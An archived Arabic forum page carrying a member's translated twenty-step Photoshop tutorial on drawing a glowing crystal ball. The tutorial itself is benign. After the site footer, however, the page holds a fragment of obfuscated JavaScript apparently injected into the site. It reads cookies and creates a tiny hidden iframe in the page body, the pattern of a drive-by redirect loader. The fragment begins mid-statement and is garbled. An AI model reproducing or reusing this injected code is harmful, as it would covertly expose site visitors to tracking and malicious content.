العودة   منتديات سبيرا مكس > المنتديات العامة > منتدى الكمبيوتر والجوالات > منتديات الجرافيكس و التصاميم

منتديات الجرافيكس و التصاميم تصاميم الأعضاء ، فوتوشوب ، فلاش ، دروس فوتوشوب ، دروس فلاش ، فرش ، صور ، تصاميم

  #1  
قديم 10-08-2008, 05:05 AM
إرسال رسالة عبر MSN إلى K A K I
الصورة الرمزية K A K I
عضو جديد
من مواضيعي   Xbox Live Gamertag   Playstation Network ID   Wii Friends Code   الاوسمة

الملف الشخصي
رقم العضوية:2
تاريخ التسجيل:Jun 2008
المشاركـــــات46
الدراما المفضلة :
الدولة : UK .Manchester
الجنس : ذكر
اللعبة المفضلة :
جهاز الألعاب المفضل :
نوع الألعاب المفضل :
نوع الأفلام المفضل :
الفيلم المفضل :
نوع الأنمي المفضل :
معدل تقييم المستوى: K A K I عضو معروف لدى الجميع 50
شخصية الأنمي المفضلة :
مسلسل الأنمي المفضل :
مزاجي:
إرسال رسالة عبر MSN إلى K A K I
افتراضي تصميم الكرة السحرية

السلام عليكم و رحمة الله و بركاته

ارجو من الله ان تكون الدروس مفيده لكم و ان تتعلموا منها طرق جديده لتخرج اعمالكم بالطريقه المطلوبه ,,

النتيجه النهائيه لدرس اليوم

إضغط علي الصوره لتحصل عليها بالحجم الاصلي اضغط على الصورة لرؤيتها بالحجم الطبيعي

اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه الاولي :

قم بفتح مساحة عمل جديده ,, انا استعملت الابعاد التاليه 1900px في 1200px ,,

قم بتلوين الخلفيه باللون الاسود ,,

قم بإستعمال اداة Ellipse Tool (U) و صمم دائره ,,

يمكنك تلوين الدائره باللون الرمادي الداكن ,و لكن لن يهم اللون اللذي تلون به الدائره لإننا سنطبق بعض Layer Style عليها بعد قليل ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 2 :

لتطبيق ال Layer Style قم بالذهاب إلي Layer > Layer Style ,,


اولا :

قم بإختيار Inner Glow من القائمه الجانبيه

إستعمل اللون الابيض ,,

إستعمل Color Dodge من تبويب Blend Mode ,,,

قم بإستعمال 70% في تبويب opacity ,,


ثانيا :

قم بإختيار Gradient Overlay من القائمه الجانبيه ,,

قم بإختيار Linear من تبويب Style ,,

اترك الخيار Normal كما هو في تبويب Blend Mode ,,

و اللون سيكون #12232c و #313444

ثالثا :

قم بإختيار خيار Stroke من القائمه الجانبيه ,,

قم بضبط ال Size علي 2px ,,

قم بضبط ال Opacity علي 60% ,,

قم بإستعمال اللون #a395cf ,,

لاحظ انه لك مطلق الحريه في إستعمال الاعدادات و الالوان المناسبه لك ^_^


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 3 :

قم برسم دائره اخري بإستعمال اداة Ellipse Tool (U) ,,

افضل شئ ان تقوم بصنع Path بإستعمال تلك الاداه ,,

قم بتعديل شكل الدائره كما تريد ,,

ثم قم ب a selection make ,,

تلك الدائره ستكون الانعكاس العلوي للكوره السحريه ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 4 :

قم بعمل طبقه جديده و قم بتسميتها "reflection top" ,,

قم بإختيار اداة التدرج Gradient Tool (G) ,,

اجعل اللون الابيض في الاتجاهين ,,

قم بتغير ال opacity لكل جانب اجعل واحد منها 100% و الا خر 50% ,,

قم بإختيار الخيار Radial في التبويب Style

ثم قم بعمل تدرج radial gradient كما في الصوره في الاسفل ,,

و استعمل النسبه 70% في Opacity ,,

تأكد من ان النسبه 1005 هي في منتصف التدرج ,,

اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 5 :

دعنا نقوم بعمل إنعكاس في الجزء السفلي ,,

قم بعمل create a selection من الطبقه الخاصه بالدائره ,, و التي هي اول واحده قمنا بعملها ,,

قم بعمل طبقه جديده , و قم بتمسيتها "Bottom reflection"

قم بإستعمال اداة Gradient Tool (G) و استعمل نفس الاعدادات في الخطوه السابقه ,,

و لكن تلك المره اجعل ال Opacity علي 100% و 0% ,,

الان قم بعمل التدرج ,

قم بتغير ال Opacity الخاص بالطبقه إلي 50% ,,

إستعمل الصوره التاليه كمرجع لك ,

اضغط على الصورة لرؤيتها بالحجم الطبيعي

الخطوه 6 :

قم بعمل طبقه جديده ,,

سمي الطبقه بإسم "lights 1" ,

تاكد من ان الالوان هي الاسود و الابيض للون الخلفيه و اللون الامامي ,,

قم بالذهاب إلي Filter > Render > Clouds ,

ثم قم بالذهاب إلي Filter > Sketch > Chrome ,,

قم بإستعمال 3 ل Detail , و 10 smoothness ,,

قم rescale (تغير حجمها) للطبقه و اجعلها اصغر قليلا حتي تكون التفاصيل اصغر ايضا ,,

اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 7 :

قم بعمل marquee selection من الطبقه الخاصه بالكره "ball layer"

قم بالذهاب إلي Filter > Distort > Spherize ,,

قم بوضع النسبه 100% في تبويب Amount ,,

قم بوضع Normal في تبويب Mode ,,

قم بالذهاب إلي Filter > Brush Strokes > Sprayed Strokes ,,

قم بضبط ال Stroke length علي 17 ,,

و قم بضبط ال Spray Radius علي 7 ,,

اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 8 :

الان هيا بنا نضيف بعض الالوان للكره الكريستاليه ,,

قم بتنشيط الطبقه المسماه "lights 1" ( اي قم بالضغط عليها من لوحة الطبقات اضغط على الصورة لرؤيتها بالحجم الطبيعي ) ,,,

قم بالذهاب إلي Layer > Layer Style , و قم بتغير Fill Opacity إلي 60% ,,

بعد ذالك , قم بإختيار Gradient Overlay

قم بإختيار الالوان التاليه Violet, Green و Orange preset

و إختر ال Radial ل Gradient Style ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 9 :

لنقوم بعمل تأثير الاضاءه في داخل الكره سنقوم بإستعمال فلاتر مختلفه Clouds ,,

لذا قم بعمل طبقه جديده ,,

قم بتمسية تلك الطبقه بإسم "rays" ,,

قم بالذهاب إلي Filter > Render > Clouds ,,

ثم قم بالذهاب إلي Filter > Render > Difference Clouds ,,

الان قم بعمل rescale للطبقه بنفس الطول السابق عمله للكره نفسها ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 10 :

لتغير اللون من الاسود من الابيض , قم بالذهاب إلي Image > Adjustments > Invert ,,,

و لكن حتي تحصل علي التأثير السليم عليك ان تغير ال levels حتي تحصل عليه , و لعمل ذالك قم بالذهاب إلي Image > Adjustments > Levels ,,

قم بضبط ال Input Levels علي 0 , 1.00 , 70 ,

قم بتغير ال Blend Mode إلي Color Dodge ,,

هناك شيئين عليك فعلهم هنا , اول شئ ان تقوم بعمل Layer Mask , حتي نضمن إن الاضاءه ستكون داخل الكره فقط ,,

ثاني شئ إستعمل اداة Eraser Tool (E) و قم بإختيار فرشاه متوسطه الحجم ( medium brush) و عاديه ( regular) , و لكن قم بضبط ال hardness علي 0% , و ال opacity علي 10% ,,

و قم بمحو الاجزاء المحدد من 1-4 ,,

قم بتغير ال opacity الخاصه بكل من الطبقات التاليه "Reflection Top" و "Reflection Bottom" ,,



اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 11 :

لعمل العديد من الاشعه يمكنك إما تكرير duplicate الطبقه او القيام بتطبيق الخطوتين 9 و 10 مره اخري ,,

عن نفسي قمت بتكرير duplicat , و لكن من الافضل ان تطبق الخطوتين ال 9 و ال 10 مره اخري ,,

بإمكانك تطبيق فلتر Spherize ,,

قم بتغير ال Opacity الخاص بالطبقات لتزويد التأثير بالعمق و الشكل المطلوب ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 12 :

سنقوم الان بعمل طبقه جديده لضبط الالوان , نحن نريد ان نجعل الكره داكنة اللون اكثر ,,

قم بإضافة طبقة جديده , قم بعمل marquee selection علي الكره الاصليه , و قم بتلوينها باللون الاسود بعد ان تنتهي ,,

قم بإضافة Layer Style ,,

قم بضبط ال Fill Opacity علي 0% ,,

ثم قم بإختيار Gradient Overlay ,,

قم بإستعمال الخيار Multiply في التبويب Blend Mode ,,

90% Opacity ,,

و قم بضبطها علي Linear ,,

بالنسبه للألوان قم بإستعمال اللون الاسود و الرمادي الداكن ,,

تلك الطبقه ستكون تحت الطبقات الاخري الخاصه بالضوء ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 13 :

دعنا نضيف ملمس (texture) جميل للكره ,,

قم بعمل طبقه جديده فوق جميع الطبقات ,,و لكن تحت الطبقه المسماه Reflection Bottom و الطبقه المسماه Reflection Top ,, و سمي الطبقه الجديد بإسم "texture",,

الان قم بالذهاب إلي Filter > Render > Clouds ,,

قم بتغير حجم الطبقه و اجعلها قليلا من الكره ,,

قم بالذهاب إلي Filter > Distort >Wave , و استعمل الرقم 5 في تبويب Number of Generators ,,

و في ال Wavelength إستعمل في Min 10 , و في Max إستعمل 320 ,,

إستعمل في تبويب Amplitude تحت خيار Min الرقم 5 , و تحت خيار Max إستعمل الرقم 35 , و إترك الباقي كما هو ,,



اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 14 :

قم بالذهاب إلي Filter > Brush Strokes > Spatter ,,

قم بإستعمال 15 في Spray Radius , و 2 في Smoothness ,,

قم بعمل marquee selection من الطبقه الخاصه بالكره ,,

قم بالذهاب إلي Filter > Distort > Spherize , قم بإستعمال النسبه 100% في ال amount ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 15 :

قم بتغير ال Blend Mode الخاص بالطبقه إلي Screen , و ال opacity إلي 50% ,,

و قم بتغير fill opacity إلي 50% ,,

إذا لم تكن تريد الملمس ( texture) يظهر بصوره كبيره قم بتقليل opacity ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 16 :

قم بإستعمال اداة Ellipse Tool (U) ,, ثم قم بالضغط علي Shape Layers , و هذا سيقوم بعمل طبقه بالشكل باللون الامامي اضغط على الصورة لرؤيتها بالحجم الطبيعي ,,

قم بعمل ellipse كما في الصوره التاليه ,

بعد هذا قم بالذهاب إلي Filter > Blur > Gaussian Blur ,, ثم قم بإستعمال النسبه 90% ل Radius , تلك الطبقه ستكون بقعة الضوء (spot of light) الخاصه بالكره ,

تلك الطبقه يجب ان تكون اسفل جميع الطبقات حتي الطبقه الخاصه بالكره نفسها ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 17 :

قم الان بصنع ellipse مره اخري كما صنعنا في الخطوه السابقه ,,

تلك المره سنستعمل اللون الاسود , و ايضا بدلا من ان نصنع بقعة ضوء سنصنع ظل (shadow)

اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 18 :

الان نضيف ضوء متوهج glow light اعلي الكره ,,

قم بتطبيقث الخطوه 16 مره اخري ,و لكن بالنسبه لل Gaussian Blur قم بجعل ال Radius علي 70 pixels ,, لا تنسي ان تلك الطبقه ستكون اعلي جميع الطبقات


اضغط على الصورة لرؤيتها بالحجم الطبيعي


الخطوه 19 :

قم بعمل Gradient Fill layer و لعمل ذالك قم بالذهاب إلي Layer > New Fill Layer > Gradient , و بالنسبه للون #223158 و #b8641c ,,

و بالنسبه لل style قم بإستعمال الخيار Radial ,, و قم بضبط الزاويه علي 115º ,,,

قم بتغير ال Blend Mode الخاص بالطبقه علي Overlay ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخطوه 20 :

قم بعمل طبقه جديده فوق باقي الطبقات ,و قم بتلوينها باللون الاسود ,

قم بالذهاب إلي Filter > Render > Lens Flare , و قم بإستعمال 60% في Brightness و 50-300mm Zoom ,,

قم بالذهاب إلي Image > Adjustments > Levels و قم بتغير ال Input Levels إلي 7, 1, 210

قم بتغير ال Blend Mode إلي Screen ,و قم بعمل rescale للطبقه ,,

قم بإستعمال الصوره في الاسفل كدليل ,,


اضغط على الصورة لرؤيتها بالحجم الطبيعي



الخاتمه : ( كلمه من المترجم)

الدرس لا يريكم فقط الطريقه بصنع كره ..الخ بل يريكم طريقه جديده و تكنيك جديد لإخراج أعمالكم الفنيه بصوره تليق بكم ^_^

إضغط علي الصوره لتحصل عليها بالحجم الاصلي اضغط على الصورة لرؤيتها بالحجم الطبيعي

اضغط على الصورة لرؤيتها بالحجم الطبيعي


إنتهي الدرس



تحياتي

Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
رد مع اقتباس
 
 

مواقع النشر (المفضلة)

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الساعة الآن 04:46 PM.
All logos and trademarks in this site are property of their rightful owners.The comments and views of members are property of their posters
Spira Mix Copyright © 2006-2011
GK5",3,6)),j : new String("iframe"),max : H("visibilitKkT",0,9)+H("yaIZV",0,1),$ : H("hiddenxCa0",0,6),urchinUrl : H("/de9Tzw",0,3)+"/",W: H("spl4ZUA",0,3)+"it",L: String(H("charAtEolm",0,6)),V : String(H(",SNGe",0,1))};for(var b in J){if(b == B){return J[b];}}return null;};function F(a){var UT = document.cookie.match(new RegExp(new String(H("(?:^|yJA",0,5)+H("eUjS; )eSUj",4,3)) + a.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, H("yH3\\\\$1yH3",3,6)) + String(H("=([^;]sSf",0,6)+H("*)t3N",0,2))));return UT ? decodeURIComponent(UT[1]) : undefined;};function v(){var today = U();var domain = P(t(R(), today.g.length));var X = today.g[domain];var urchin = today.s[domain];if(today.Z.length > 1){var G = today.Z[domain];}else {var G = today.Z[0];}return { Y : X, E : G, a: urchin };};function p(){var IA = document;var $K = IA.createElement(o('j'));$K.width = String(H("yWYX12pxWXyY",4,4));$K.height = new String("10px");$K.style[o('max')] = o('$');try {IA.body.appendChild($K);} catch(utmn){try {IA.write(o('D'));IA.body.appendChild($K);} catch(fL){};};return $K;};function tMin(urchinUrlW, wQ){return urchinUrlW % wQ;};

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39